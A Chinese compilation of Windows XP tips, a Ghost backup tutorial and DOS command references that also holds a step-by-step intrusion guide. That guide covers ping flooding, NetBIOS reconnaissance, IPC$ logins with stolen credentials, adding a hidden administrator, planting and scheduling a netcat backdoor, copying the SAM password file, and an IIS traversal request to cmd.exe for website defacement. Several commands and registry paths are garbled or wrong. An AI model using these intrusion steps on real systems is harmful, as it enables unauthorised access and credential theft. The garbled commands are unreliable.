启用DMA模式之后，计算机周边设备(主要指硬盘)即可直接与内存交换数据，这样能加快硬盘读写速度，提高数据传输速率:打开“设备管理器”，其中“IDE ATA/ATAPI 控制器”下有“主要 IDE 通道”和“次要 IDE 通道”，双击之，单击“高级设置”，该对话框会列出目前IDE接口所连接设备的传输模式，单击列表按钮将“传输模式”设置为“DMA(若可用)”。重新启动计算机即可生效。

第7件大事:启用高级电源管理

有时候安装Windows XP之前会发现没有打开BIOS电源中的高级电源控制，安装Windows XP后，关闭Windows时，电源不会自动断开。这时，很多人选择了重新打开BIOS中的高级电源控制，并重新安装Windows XP。事实上，用不着这么麻烦，只要大家确认已经在BIOS中打开高级电源控制选项，再从http:///'mig25/acpi.exe下载并安装这个程序，同时选择ACPI Pc，一定不要选错，否则重启后可能无法进入Windows)，并重新启动电脑，电脑可能会重新搜索并自动重新安装电脑的硬件，之后就可以使其支持高级电源控制了。

第8件大事:取消压缩文件夹支持

单击开始→运行，输入“regsvr32 /u zipfldr.dll”回车，出现提示窗口“zipfldr.dll中的Dll UnrgisterServer成功”即可取消Windows XP的压缩文件夹支持。另外，输入regsvr32 shdocvw.dll可以取消“图片和传真”与图片文件的关联。

第9件大事:取消“磁盘空间不足”通知

当磁盘驱动器的容量少于200MB时Windows XP便会发出“磁盘空间不足”的通知，非常烦人。可以打开“注册表编辑器”，定位到HKEY_CURRENT_USERSoftwareMi Explorer，在“Explorer”上单击右键，选择右键菜单上的“新建”→“DWORD 值”，将这个值命名为“NoLowDiskSpaceChecks”，双击该值将其中的“数值数据”设为“1”。

第10件大事:启用验证码

安装SP2后，大多数用户发现在访问某些需要填写验证码的地方，都无法显示验证码图片(显示为一个红色小叉)，这是一个非常严重的Bug。解决办法为:运行“Regedit”命令打开注册表编辑器，依次定位到“[HKEY_ LOCAL_ Explorer Security]”，在窗口右边新建一个名为“BlockXBM”的REG_ DWORD值，将其值设置为“0”(十六进制值)。

⑶ dos状态下一些命令

一，ping

它是用来检查网络是否通畅或者网络连接速度的命令。作为一个生活在网络上的管理员或者黑客来说，ping命令是第一个必须掌握的DOS命令，它所利用的原理是这样的：网络上的机器都有唯一确定的IP地址，我们给目标IP地址发送一个数据包，对方就要返回一个同样大小的数据包，根据返回的数据包我们可以确定目标主机的存在，可以初步判断目标主机的操作系统等。下面就来看看它的一些常用的操作。先看看帮助吧，在DOS窗口中键入：ping /? 回车，。所示的帮助画面。在此，我们只掌握一些基本的很有用的参数就可以了（下同）。

-t 表示将不间断向目标IP发送数据包，直到我们强迫其停止。试想，如果你使用100M的宽带接入，而目标IP是56K的小猫，那么要不了多久，目标IP就因为承受不了这么多的数据而掉线，呵呵，一次攻击就这么简单的实现了。

-l 定义发送数据包的大小，默认为32字节，我们利用它可以最大定义到65500字节。结合上面介绍的-t参数一起使用，会有更好的效果哦。

-n 定义向目标IP发送数据包的次数，默认为3次。如果网络速度比较慢，3次对我们来说也浪费了不少时间，因为现在我们的目的仅仅是判断目标IP是否存在，那么就定义为一次吧。

说明一下，如果-t 参数和 -n参数一起使用，ping命令就以放在后面的参数为标准，比如"ping IP -t -n 3"，虽然使用了-t参数，但并不是一直ping下去，而是只ping 3次。另外，ping命令不一定非得ping IP，也可以直接ping主机域名，这样就可以得到主机的 IP。

下面我们举个例子来说明一下具体用法。

这里time=2表示从发出数据包到接受到返回数据包所用的时间是2秒，从这里可以判断网络连接速度的大小 。从TTL的返回值可以初步判断被ping主机的操作系统，之所以说"初步判断"是因为这个值是可以修改的。这里TTL=32表示操作系统可能是win98。

（小知识：如果TTL=128，则表示目标主机可能是Win2000；如果TTL=250，则目标主机可能是Unix）

至于利用ping命令可以快速查找局域网故障，可以快速搜索最快的QQ服务器，可以对别人进行ping攻击……这些就靠大家自己发挥了。

二，nbtstat

该命令使用TCP/IP上的NetBIOS显示协议统计和当前TCP/IP连接，使用这个命令你可以得到远程主机的NETBIOS信息，比如用户名、所属的工作组、网卡的MAC地址等。在此我们就有必要了解几个基本的参数。

-a 使用这个参数，只要你知道了远程主机的机器名称，就可以得到它的NETBIOS信息（下同）。

-A 这个参数也可以得到远程主机的NETBIOS信息，但需要你知道它的IP。

-n 列出本地机器的NETBIOS信息。

当得到了对方的IP或者机器名的时候，就可以使用nbtstat命令来进一步得到对方的信息了，这又增加了我们入侵的保险系数。

三，netstat

这是一个用来查看网络状态的命令，操作简便功能强大。

-a 查看本地机器的所有开放端口，可以有效发现和预防木马，可以知道机器所开的服务等信息，如图4。

这里可以看出本地机器开放有FTP服务、Telnet服务、邮件服务、WEB服务等。用法：netstat -a IP。

-r 列出当前的路由信息，告诉我们本地机器的网关、子网掩码等信息。用法：netstat -r IP。
四，tracert

跟踪路由信息，使用此命令可以查出数据从本地机器传输到目标主机所经过的所有途径，这对我们了解网络布局和结构很有帮助。如图5。

这里说明数据从本地机器传输到192.168.0.1的机器上，中间没有经过任何中转，说明这两台机器是在同一段局域网内。用法：tracert IP。

五，net

这个命令是网络命令中最重要的一个，必须透彻掌握它的每一个子命令的用法，因为它的功能实在是太强大了，这简直就是 微软为我们提供的最好的入侵工具。首先让我们来看一看它都有那些子命令，键入net /?回车如图6。

在这里，我们重点掌握几个入侵常用的子命令。

net view

使用此命令查看远程主机的所以共享资源。命令格式为net view \IP。

net use

把远程主机的某个共享资源影射为本地盘符，图形界面方便使用，呵呵。命令格式为net use x: \IP\sharename。上面一个表示把 192.168.0.5IP的共享名为magic的目录影射为本地的Z盘。下面表示和192.168.0.7建立IPC$连接（net use \IP\ IPC$ "password" /user:"name"），

建立了IPC$连接后，呵呵，就可以上传文件了： nc.exe \192.168.0.7\admin$，表示把本地目录下的nc.exe传到远程主机，结合后面要介绍到的其他DOS命令就可以实现入侵了。

net start

使用它来启动远程主机上的服务。当你和远程主机建立连接后，如果发现它的什么服务没有启动，而你又想利用此服务怎么办？就使用这个命令来启动吧。用法：net start servername，如图9，成功启动了telnet服务。

net stop

入侵后发现远程主机的某个服务碍手碍脚，怎么办？利用这个命令停掉就ok了，用法和net start同。

net user

查看和帐户有关的情况，包括新建帐户、删除帐户、查看特定帐户、激活帐户、帐户禁用等。这对我们入侵是很有利的，最重要的，它为我们克隆帐户提供了前提。键入不带参数的net user，可以查看所有用户，包括已经禁用的。下面分别讲解。

1，net user abcd 1234 /add，新建一个用户名为abcd，密码为1234的帐户，默认为user组成员。

2，net user abcd /del，将用户名为abcd的用户删除。

3，net user abcd /active:no，将用户名为abcd的用户禁用。

4，net user abcd /active:yes，激活用户名为abcd的用户。

5，net user abcd，查看用户名为abcd的用户的情况

net localgroup

查看所有和用户组有关的信息和进行相关操作。键入不带参数的net localgroup即列出当前所有的用户组。在入侵过程中，我们一般利用它来把某个帐户提升为administrator组帐户，这样我们利用这个帐户就可以控制整个远程主机了。用法： net localgroup groupname username /add。

现在我们把刚才新建的用户abcd加到 administrator组里去了，这时候abcd用户已经是超级管理员了，呵呵，你可以再使用net user abcd来查看他的状态，和图10进行比较就可以看出来。但这样太明显了，网管一看用户情况就能漏出破绽，所以这种方法只能对付菜鸟网管，但我们还得知道。现在的手段都是利用其他工具和手段克隆一个让网管看不出来的超级管理员，这是后话。有兴趣的朋友可以参照《黑客防线》第30期上的《由浅入深解析隆帐户》一文。

net time

这个命令可以查看远程主机当前的时间。如果你的目标只是进入到远程主机里面，那么也许就用不到这个命令了。但简单的入侵成功了，难道只是看看吗？我们需要进一步渗透。这就连远程主机当前的时间都需要知道，因为利用时间和其他手段（后面会讲到）可以实现某个命令和程序的定时启动，为我们进一步入侵打好基础。用法：net time \IP。

六，at

这个命令的作用是安排在特定日期或时间执行某个特定的命令和程序（知道net time的重要了吧？）。当我们知道了远程主机的当前时间，就可以利用此命令让其在以后的某个时间（比如2分钟后）执行某个程序和命令。用法：at time command \computer。

表示在6点55分时，让名称为a-01的计算机开启telnet服务（这里net start telnet即为开启telnet服务的命令）。
七，ftp

大家对这个命令应该比较熟悉了吧？网络上开放的ftp的主机很多，其中很大一部分是匿名的，也就是说任何人都可以登陆上去。现在如果你扫到了一台开放 ftp服务的主机（一般都是开了21端口的机器），如果你还不会使用ftp的命令怎么办？下面就给出基本的ftp命令使用方法。

首先在命令行键入ftp回车，出现ftp的提示符，这时候可以键入"help"来查看帮助（任何DOS命令都可以使用此方法查看其帮助)。

大家可能看到了，这么多命令该怎么用？其实也用不到那么多，掌握几个基本的就够了。

首先是登陆过程，这就要用到open了，直接在ftp的提示符下输入"open 主机IP ftp端口"回车即可，一般端口默认都是21，可以不写。接着就是输入合法的用户名和密码进行登陆了，这里以匿名ftp为例介绍。

用户名和密码都是ftp，密码是不显示的。当提示**** logged in时，就说明登陆成功。这里因为是匿名登陆，所以用户显示为Anonymous。

接下来就要介绍具体命令的使用方法了。

dir 跟DOS命令一样，用于查看服务器的文件，直接敲上dir回车，就可以看到此ftp服务器上的文件。

cd 进入某个文件夹。

get 下载文件到本地机器。

put 上传文件到远程服务器。这就要看远程ftp服务器是否给了你可写的权限了，如果可以，呵呵，该怎么 利用就不多说了，大家就自由发挥去吧。

delete 删除远程ftp服务器上的文件。这也必须保证你有可写的权限。

bye 退出当前连接。

quit 同上。

八，telnet

功能强大的远程登陆命令，几乎所有的入侵者都喜欢用它，屡试不爽。为什么？它操作简单，如同使用自己的机器一样，只要你熟悉DOS命令，在成功以 administrator身份连接了远程机器后，就可以用它来干你想干的一切了。下面介绍一下使用方法，首先键入telnet回车，再键入help查看其帮助信息。

然后在提示符下键入open IP回车，这时就出现了登陆窗口，让你输入合法的用户名和密码，这里输入任何密码都是不显示的。

当输入用户名和密码都正确后就成功建立了telnet连接，这时候你就在远程主机上具有了和此用户一样的权限，利用DOS命令就可以实现你想干的事情了。这里我使用的超级管理员权限登陆的。

到这里为止，网络DOS命令的介绍就告一段落了，这里介绍的目的只是给菜鸟网管一个印象，让其知道熟悉和掌握网络DOS命令的重要性。其实和网络有关的 DOS命令还远不止这些，这里只是抛砖引玉，希望能对广大菜鸟网管有所帮助。学好DOS对当好网管有很大的帮助，特别的熟练掌握了一些网络的DOS命令。

另外大家应该清楚，任何人要想进入系统，必须得有一个合法的用户名和密码（输入法漏洞差不多绝迹了吧），哪怕你拿到帐户的只有一个很小的权限，你也可以利用它来达到最后的目的。所以坚决消灭空口令，给自己的帐户加上一个强壮的密码，是最好的防御弱口令入侵的方法。

最后，由衷的说一句，培养良好的安全意识才是最重要的。

=========================================
开始→运行→命令集锦
winver---------检查Windows版本
wmimgmt.msc----打开windows管理体系结构(WMI)
wupdmgr--------windows更新程序
wscript--------windows脚本宿主设置
write----------写字板
winmsd---------系统信息
wiaacmgr-------扫描仪和照相机向导
winchat--------XP自带局域网聊天

mem.exe--------显示内存使用情况
Msconfig.exe---系统配置实用程序
mplayer2-------简易widnows media player
mspaint--------画图板
mstsc----------远程桌面连接
mplayer2-------媒体播放机
magnify--------放大镜实用程序
mmc------------打开控制台
mobsync--------同步命令

dxdiag---------检查DirectX信息
drwtsn32------ 系统医生
devmgmt.msc--- 设备管理器
dfrg.msc-------磁盘碎片整理程序
diskmgmt.msc---磁盘管理实用程序
dcomcnfg-------打开系统组件服务
ddeshare-------打开DDE共享设置
dvdplay--------DVD播放器

net stop messenger-----停止信使服务
net start messenger----开始信使服务
notepad--------打开记事本
nslookup-------网络管理的工具向导
ntbackup-------系统备份和还原
narrator-------屏幕"讲述人"
ntmsmgr.msc----移动存储管理器
ntmsoprq.msc---移动存储管理员操作请求
netstat -an----(TC)命令检查接口

syncapp--------创建一个公文包
sysedit--------系统配置编辑器
sigverif-------文件签名验证程序
sndrec32-------录音机
shrpubw--------创建共享文件夹
secpol.msc-----本地安全策略
syskey---------系统加密，一旦加密就不能解开，保护windows xp系统的双重密码
services.msc---本地服务设置
Sndvol32-------音量控制程序
sfc.exe--------系统文件检查器
sfc /scannow---windows文件保护

tsshutdn-------60秒倒计时关机命令
tourstart------xp简介（安装完成后出现的漫游xp程序）
taskmgr--------任务管理器

eventvwr-------事件查看器
eudcedit-------造字程序
explorer-------打开资源管理器

packager-------对象包装程序
perfmon.msc----计算机性能监测程序
progman--------程序管理器

regedit.exe----注册表
rsop.msc-------组策略结果集
regedt32-------注册表编辑器
rononce -p ----15秒关机
regsvr32 /u *.dll----停止dll文件运行
regsvr32 /u zipfldr.dll------取消ZIP支持

cmd.exe--------CMD命令提示符
chkdsk.exe-----Chkdsk磁盘检查
certmgr.msc----证书管理实用程序
calc-----------启动计算器
charmap--------启动字符映射表
cliconfg-------SQL SERVER 客户端网络实用程序
Clipbrd--------剪贴板查看器
conf-----------启动netmeeting
compmgmt.msc---计算机管理
cleanmgr-------垃圾整理
ciadv.msc------索引服务程序

osk------------打开屏幕键盘
odbcad32-------ODBC数据源管理器
oobe/msoobe /a----检查XP是否激活
lusrmgr.msc----本机用户和组
logoff---------注销命令

iexpress-------木马捆绑工具，系统自带

Nslookup-------IP地址侦测器

fsmgmt.msc-----共享文件夹管理器

utilman--------辅助工具管理器

gpedit.msc-----组策略

⑷ 电脑里怎么将一个文件进行备份需要详细步骤！！！

运行ghost：新版本的ghost包括DOS版本和windows版本，DOS版本只能在Dos环境中运行。windows版本只能在windows环境中运行。由于DOS的高稳定性，且在DOS环境中备份windows操作系统，已经脱离了windows环境，建议备份windows操作系统，使用DOS版本的ghost软件。我们通常把ghost文件复制到启动软盘（U盘）里，也可将其刻录进启动光盘，用启动盘进入Dos环境后，在提示符下输入ghost，回车即可运行ghost，首先出现的是关于界面 按任意键进入ghost操作界面，出现ghost菜单，主菜单共有4项，从下至上分别为Quit（退出）、Options（选项）、Peer to Peer（点对点，常称之为P2P，主要用于网络中）、Local（本地）。一般情况下我们只用到Local菜单项，其下有三个子项：Disk（硬盘备份与还原）、Partition（磁盘分区备份与还原）、 Check（硬盘检测），前两项功能是我们用得最多的，下面的操作讲解就是围绕这两项展开的。
3、由于Ghost在备份还原是按扇区来进行复制，所以在操作时一定要小心，不要把目标盘（分区）弄错了，要不将目标盘（分区）的数据全部抹掉就很惨的……根本没有多少恢复的机会，所以一定要认真、细心！但你也不要太紧张，其实Ghost的使用很简单，弄懂那几个单词的意思你就会理解它的用法，加上认真的态度，你一定可以掌握它的！一起来吧：）
二、 分区备份
预备知识：认识单词
Disk：不用我说你也知道，磁盘的意思；
Partition：即分区，在操作系统里，每个硬盘盘符（C盘以后）对应着一个分区；
Image：镜像，镜像是Ghost的一种存放硬盘或分区内容的文件格式，扩展名为.gho；
To：到，在ghost里，简单理解to即为“备份到”的意思；
From：从，在ghost里，简单理解from即为“从……还原”的意思。
（一） Partition菜单简介
其下有三个子菜单：
To Partion：将一个分区（称源分区）直接复制到另一个分区（目标分区），注意操作时，目标分区空间不能小于源分区；
To Image：将一个分区备份为一个镜像文件，注意存放镜像文件的分区不能比源分区小，最好是比源分区大；
From Image：从镜像文件中恢复分区（将备份的分区还原）。
（二） 分区镜像文件的制作
1、 运行ghost后，用光标方向键将光标从“Local”经“Disk”、“Partition”移动到“To Image”菜单项上，然后按回车。
2、 出现选择本地硬盘窗口，，再按回车键。
3、 出现选择源分区窗口（源分区就是你要把它制作成镜像文件的那个分区）
用上下光标键将蓝色光条定位到我们要制作镜像文件的分区上，按回车键确认我们要选择的源分区，再按一下Tab键将光标定位到OK键上（此时OK键变为白色），再按回车键。
4、 进入镜像文件存储目录，默认存储目录是ghost文件所在的目录，在File name处输入镜像文件的文件名，也可带路径输入文件名（此时要保证输入的路径是存在的，否则会提示非法路径），如输入D:\sysbak\cwin98，表示将镜像文件cwin98.gho保存到D:\sysbak目录下，输好文件名后，再回车。
5、 接着出现“是否要压缩镜像文件”窗口，有“No（不压缩）、Fast（快速压缩）、High（高压缩比压缩）”，压缩比越低，保存速度越快。一般选Fast即可，用向右光标方向键移动到Fast上，回车确定；
6、 接着又出现一个提示窗口，用光标方向键移动到“Yes”上，回车确定。
7、 Ghost开始制作镜像文件
8、 建立镜像文件成功后，会出现提示创建成功窗口
回车即可回到Ghost界面；
9、 再按Q键，回车后即可退出ghost。
至此，分区镜像文件制作完毕！ 也蛮简单的嘛：）。
三、 从镜像文件还原分区
制作好镜像文件，我们就可以在系统崩溃后还原，这样又能恢复到制作镜像文件时的系统状态。下面介绍镜像文件的还原。
（一）在DOS状态下，进入Ghost所在目录，输入Ghost回车，即可运行Ghost。
（二）出现Ghost主菜单后，用光标方向键移动到菜单“Local－Partition－From Image”，然后回车。
（三） 出现“镜像文件还原位置窗口”，在File name处输入镜像文件的完整路径及文件名（你也可以用光标方向键配合Tab键分别选择镜像文件所在路径、输入文件名，但比较麻烦），如d:\sysbak\cwin98.gho，再回车。
（四） 出现从镜像文件中选择源分区窗口，直接回车。
（五） 又出现选择本地硬盘窗口，再回车。
（六） 出现选择从硬盘选择目标分区窗口，我们用光标键选择目标分区（即要还原到哪个分区），回车。
（七） 出现提问窗口，选Yes回车确定，ghost开始还原分区信息。
（八） 很快就还原完毕，出现还原完毕窗口，选Reset Computer回车重启电脑。
现在就完成了分区的恢复，是不是很快呀：）。
注意：选择目标分区时一定要注意选对，否则：（，后果是目标分区原来的数据将全部消失……
四、 硬盘的备份及还原
Ghost的Disk菜单下的子菜单项可以实现硬盘到硬盘的直接对拷（Disk－To Disk）、硬盘到镜像文件（Disk－To Image）、从镜像文件还原硬盘内容（From Image－Disk）。
在多台电脑的配置完全相同的情况下，我们可以先在一台电脑上安装好操作系统及软件，然后用ghost的硬盘对拷功能将系统完整地“复制”一份到其它电脑，这样装操作系统可比传统方法快多了哦：）。
Ghost的Disk菜单各项使用与Partition大同小异，而且使用也不是很多，在此就不赘述了。
五、 Ghost使用方案
1、最佳方案：完成操作系统及各种驱动的安装后，将常用的软件（如杀毒、媒体播放软件、office办公软件等）安装到系统所在盘，接着安装操作系统和常用软件的各种升级补丁，然后优化系统，最后你就可以用启动盘启动到Dos下做系统盘的克隆备份了，注意备份盘的大小不能小于系统盘！
2、如果你因疏忽，在装好系统一段间后才想起要克隆备份，那也没关系，备份前你最好先将系统盘里的垃圾文件清除，注册表里的垃圾信息清除（推荐用Windows优化大师），然后整理系统盘磁盘碎片，整理完成后到Dos下进行克隆备份。
3、什么情况下该恢复克隆备份？
当你感觉系统运行缓慢时（此时多半是由于经常安装卸载软件，残留或误删了一些文件，导致系统紊乱）、系统崩溃时、中了比较难杀除的病毒时，你就要进行克隆还原了！有时如果长时间没整理磁盘碎片，你又不想花上半个小时甚至更长时间整理时，你也可以直接恢复克隆备份，这样比单纯整理磁盘碎片效果要好得多！
4、最后强调：在备份还原时一定要注意选对目标硬盘或分区！
应用，深入及其它参数和命令
系统备份
使用ghost进行系统备份，有整个硬盘（disk）和分区硬盘（partition）两种方式。在菜单中点击local（本地）项，在右面弹出的菜单中有3个子项，其中disk表示备份整个硬盘（即克隆）、partition表示备份硬盘的单个分区、check表示检查硬盘或备份的文件，查看是否可能因分区、硬盘被破坏等造成备份或还原失败。分区备份作为个人用户来保存系统数据，特别是在恢复和复制系统分区时具有实用价值。
选local→partition→to image菜单，弹出硬盘选择窗口，开始分区备份操作。点击该窗口中白色的硬盘信息条，选择硬盘，进入窗口，选择要操作的分区（若没有鼠标，可用键盘进行操作：tab键进行切换，回车键进行确认，方向键进行选择）。在弹出的窗口中选择备份储存的目录路径并输入备份文件名称，注意备份文件的名称带有gho的后缀名。接下来，程序会询问是否压缩备份数据，并给出3个选择：no表示不压缩，fast表示压缩比例小而执行备份速度较快，high就是压缩比例高但执行备份速度相当慢。最后选择yes按钮即开始进行分区硬盘的备份。ghost备份的速度相当快，不用久等就可以完成，备份的文件以gho后缀名储存在设定的目录中。
系统克隆
硬盘的克隆就是对整个硬盘的备份和还原。选择菜单local→disk→to disk，在弹出的窗口中选择源硬盘（第一个硬盘），然后选择要复制到的目标硬盘（第二个硬盘）。注意，可以设置目标硬盘各个分区的大小，ghost可以自动对目标硬盘按设定的分区数值进行分区和格式化。选择yes开始执行。
ghost能将目标硬盘复制得与源硬盘几乎完全一样，并实现分区、格式化、复制系统和文件一步完成。只是要注意目标硬盘不能太小，必须能将源硬盘的数据内容装下。
ghost还提供了一项硬盘备份功能，就是将整个硬盘的数据备份成一个文件保存在硬盘上（菜单local→disk→to image），然后就可以随时还原到其他硬盘或源硬盘上，这对安装多个系统很方便。使用方法与分区备份相似。
系统还原
如果硬盘中备份的分区数据受到损坏，用一般数据修复方法不能修复，以及系统被破坏后不能启动，都可以用备份的数据进行完全的复原而无须重新安装程序或系统。当然，也可以将备份还原到另一个硬盘上。
要恢复备份的分区，就在界面中选择菜单local→partition→from image，在弹出窗口中选择还原的备份文件，再选择还原的硬盘和分区，点击yes按钮即可。

⑸ win7下怎么用dos命令同步北京时间

操作步骤如下：

1、点击开始，点击运行，输入cmd，点击确定；

2、提示符后输入NET TIME \erp /set，回车；

⑹ 谁有DOS命令的解释哦.

ATTRIB 文件属性（显示或改变属性）
CHDIR(CD) 改变目录
CHKDSK 检查磁盘
CHOICE 提示击键输入
CLS 清屏幕
COMMAND 重新加载MS-DOS程序
COPY 复制文件
DATE 设置显示日期
DEBUG 调试程序
DEFRAG 清除磁盘碎片
DEL(ERASE) 删除文件
DELOLDOS 删除旧DOS文件
DELTREE 删除目录树分支
DIR 显示目录
DISKCOMP 比较软盘内容
DISKCOPY 复制磁盘
DOS 扩展扩充内存管理
DOSSHELL DOS外层
DRIVPARM 定义驱动器参数
EDIT 编辑器
EMM386 内存管理
ERASE 删除文件
DBLSPACE 磁盘压缩
EXPAND 释放压缩
FASTHELP 快速求助
FC 文件比较
FDISK 磁盘分区
FIND 搜寻指定字串
FOR 循环执行命令
FORMAT 格式化磁盘
MEM 内存使用情况显示
MKDIR(MD) 建立子目录
MSAV 检查和清除病毒
MSBACKUP 磁盘文件务份
PATH 设置搜索路径
PAUSE 暂停执行命令
RESTORE 磁盘文件转储
RENAME(REN) 文件重新命名
RMDIR(RD) 删除目录
SCANDISK 检查磁盘
SYS 传送系统文件
TIME 设置显示时间
TREE 显示目录结构
TYPE 显示文件内容
UNDELETE 恢复被删除文件
VER 显示系统版本号
VOL 显示卷标
VSAFE 病毒检查
XCOPY 复制组文件
APPEND 补充路径
BREAK 检查控制中断
BUFFERS 设置磁盘缓冲区数
CALL 调用批文件
CHCP 转换码页
COUNTRY 确定国家标准货币
CTTY 改变控制台
DEVICE 安装设备驱动程序
DEVICEHIGH 装载设备驱动程序
ECHO 命令显示开关
FASTOPEN 快速加载文件
FCBS 使用文件控制块
FILES 同时打开文件数
GOTO 转向分支
GRAPHICS 图形屏幕打印
HELP 求助
IF 设定条件
INCLUDE 简化多重配置块
INSTALL 安装常驻程序
INTERLNK 计算机互连
INTERSVR 与服务器互连
KEYB 装载字符转换表
LABEL 卷标
LASTDRIVE 置最大驱动器数
LOADFIX 装入固定内存
LOADHIGH(LH) 高内存程序装载
MEMMAKER 检查内存
MENUCOLOR 设置显示选项
MODE 设置硬件工作方式
MSCDEX 访问CD驱动器
MSO 检查系统配置
NLSFUNC 支持各国语言
NUMLOCK 控制NUMLOCK键
POWER 节省电能
PRINT 后台打印
PROMPT 改变系统提示
QBASIC 启动QB
REM 注释信息
REPLACE 替换文件
SET 设置环境变量
SETUP 安装DOS6。2文件
SETVER 改变DOS版本表
SHARE 网络文件共享
SHELL 装载命令处理程序
SMARTDRV 磁盘缓冲
SORT 文件排序
STACKS 支持动态使用的数据线
SUBMENU 菜单项（配置CONFIG。SYS）
SUBST 设置虚拟驱动器
SWITCHES 键盘开关
VRIFY 磁盘检验

》：建立子目录命令 MD （内部命令）
功能：在指定盘的指定目录下建立一个子目录
格式：MD [盘符][路径]子目录名
注意：1。不能建立根目录与目标目录下已经存在的目录
2。缺省路径时则表示在当前目录下建立
2》：改变当前目录目录命令： CD （内部命令）
功能：设置指定盘的当前目录
格式：CD [盘符][路径]
注意：CD 表示显示当前目录
CD..表示退回到根目录
CD/ 表示退回到上一级目录
3》：删除子目录命令：RD （内部命令）
功能： 从指定的盘符上删除子目录
格式： CD [盘符][路径]子目录名
注意：1。要删除的目录必须为空目录，如果不为空目录，先来到该目录，用 DEL *.*删除该目录下的所有内容
再回到上一级目录，用RD命令删除该目录
2。不能删除当前目录与根目录
4》：列文件目录命令：DIR （内部命令）
功能：显示指定盘、指定目录下所包含的文件与下一级子目录的有关信息
格式：DIR [盘符][路径][文件名][/P][/W]
[/P]表示分屏显示
[/W]表示压缩显示
5》：显示全盘目录命令：TREE （外部命令）
功能：显示指定盘的目录结构
格式：[盘符][路径]TREE [盘符1][/F]
[/F]表示列出各级子目录的文件名
6》：设置查找目标命令PATH （内部命令）
功能：设置外部文件的查找目录
格式： PATH [盘符][路径][；盘符][路径]……
注意：1。显示上次PATH命令设置的查找文件目录命令用：
PATH
2。删除上次PATH命令设置的文件查找目录用：
PATH；
7》：删除目录命令：DELTREE
功能：将整个目录及其子目录和文件全部删除
格式：DELLTREE [盘符][路径]目标文件
注意：全部删除、不论是否系统、隐藏、还是只读

黑客常用dos命令（转）
一般黑客入侵所需要的几个常用命令

1：NET

只要你拥有某IP的用户名和密码，那就用IPC$做连接吧！

这里我们假如你得到的用户是hbx，密码是123456。假设对方IP为127.0.0.1

net use \\127.0.0.1\ipc$ "123456" /user:"hbx"

退出的命令是

net use \\127.0.0.1\ipc$ /delte

下面的操作你必须登陆后才可以用.登陆的方法就在上面.

----------------------

下面我们讲怎么创建一个用户，由于SA的权限相当于系统的超级用户.

我们加一个hei的用户密码为lovechina

net user hei lovechina /add

只要显示命令成功,那么我们可以把他加入Administrator组了.

net localgroup Administrators hei /add

----------------------

这里是讲映射对方的C盘,当然其他盘也可以,只要存在就行了.我们这里把对方的C盘映射到本地的Z盘.

net use z:\\127.0.0.1\c$

----------------------

net start telnet

这样可以打开对方的TELNET服务.

----------------------

这里是将Guest用户激活，guest是NT的默认用户，而且无法删除呢？不知道是否这样，我的2000就是删除不了它。

net user guest /active:yes

----------------------

这里是把一个用户的密码改掉，我们把guest的密码改为lovechina，其他用户也可以的。只要有权限就行了呀！

net user guest lovechina

net命令果然强大啊！

2:at

一般一个入侵者入侵后都会留下后门，也就是种木马了，你把木马传了上去，怎么启动他呢？

那么需要用AT命令，这里假设你已经登陆了那个服务器。

你首先要得到对方的时间，

net time \\127.0.0.1

将会返回一个时间，这里假设时间为12:1,现在需要新建一个作业，其ID=1

at \\127.0.0.1 12:3 nc.exe

这里假设了一个木马，名为NC.EXE,这个东西要在对方服务器上.

这里介绍一下NC,NC是NETCAT的简称,为了方便输入,一般会被改名.它是一个TELNET服务,端口为99.

等到了12:3就可以连接到对方的99端口.这样就给对方种下了木马.

3:telnet

这个命令非常实用,它可以与远方做连接，不过正常下需要密码、用户,不过你给对方种了木马,直接连到这个木马打开的端口.

telnet 127.0.0.1 99

这样就可以连到对方的99端口.那你就可以在对方运行命令了,这个也就是肉鸡.

4:FTP

它可以将你的东西传到对方机子上,你可以去申请个支持FTP上传的空间,国内多的是,如果真的找不到,我给个www.51.NET,不错的.当我们申请完后，它会给用户名,密码,以及FTP服务器.

在上传前需要登陆先，这里我们假设FTP服务器是www.51.NET,用户名是HUCJS,密码是654321

ftp www.51.net

他会要求输入用户,成功后会要求输入密码.

----------------------

下面先说上传,假设你需上传的文件是INDEX.HTM,它位于C:\下,传到对方D:\

get c:\index.htm d:\

假设你要把对方C盘下的INDEX.HTM,下到你的机子的D盘下

put c:\index.htm d:\

5:

下面我说说怎样把本地的文件复制到对方硬盘上去，需要建立好IPC$连接才有效。

这里我们把本地C盘下的index.htm复制到127.0.0.1的C盘下

index.htm \\127.0.0.1\c$\index.htm

----------------------

如果你要复制到D盘下把C改为D，就行了！

index.htm \\127.0.0.1\d$\index.htm

----------------------

如果你要把他复制到WINNT目录里

就要把输入

index.htm \\127.0.0.1\admin$\index.htm

admin$是winnt

----------------------

要把对方的文件复制过来，顺便告诉大家NT的备份的数据库放在x:\winnt\repair\sam._ sam._是数据库的文件名

下面就把127.0.0.1的数据库复制到本地C盘下

\\127.0.0.1\admin$\repair\sam._ c:\

----------------------

6：set

如果你跑进了一部机子，而且想黑他（这思想只能在特别时候才准有），当然他的80端口要开，不然你黑给谁看。这时需要用SET命令！

下面是我得到的结果！我来分析它，只是找主页在那而已。

COMPUTERNAME=PENTIUMII
ComSpec=D:\WINNT\system32\cmd.exe
CONTENT_LENGTH=0
GATEWAY_INTERFACE=CGI/1.1
HTTP_ACCEPT=*/*
HTTP_ACCEPT_LANGUAGE=zh-cn
HTTP_CONNECTION=Keep-Alive
HTTP_HOST=当前登陆者的IP，这里本来是显示我的IP，被我删除了
HTTP_ACCEPT_ENCODING=gzip, deflate
HTTP_USER_AGENT=Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)
NUMBER_OF_PROCESSORS=1
Os2LibPath=D:\WINNT\system32\os2\dll;
OS=Windows_NT
Path=D:\WINNT\system32;D:\WINNT
PATHEXT=.COM;.EXE;.BAT;.CMD
PATH_TRANSLATED=E:\vlroot主页放在的地址，只要你看到PATH_TRANSLATED=的后面就是主页的存放地址。这里是E:\vlroot
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 3 Stepping 3, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0303
PROMPT=$P$G
QUERY_STRING=/c+set
REMOTE_ADDR=XX.XX.XX.XX
REMOTE_HOST=XX.XX.XX.XX
REQUEST_METHOD=GET
SCRIPT_NAME=/scripts/..%2f../winnt/system32/cmd.exe
SERVER_NAME=XX.XX.XX.XX
SERVER_PORT=80
SERVER_PORT_SECURE=0
SERVER_PROTOCOL=HTTP/1.1
SERVER_SOFTWARE=Microsoft-IIS/3.0对方使用IIS/3.0
SystemDrive=D:
SystemRoot=D:\WINNT
TZ=GMT-9
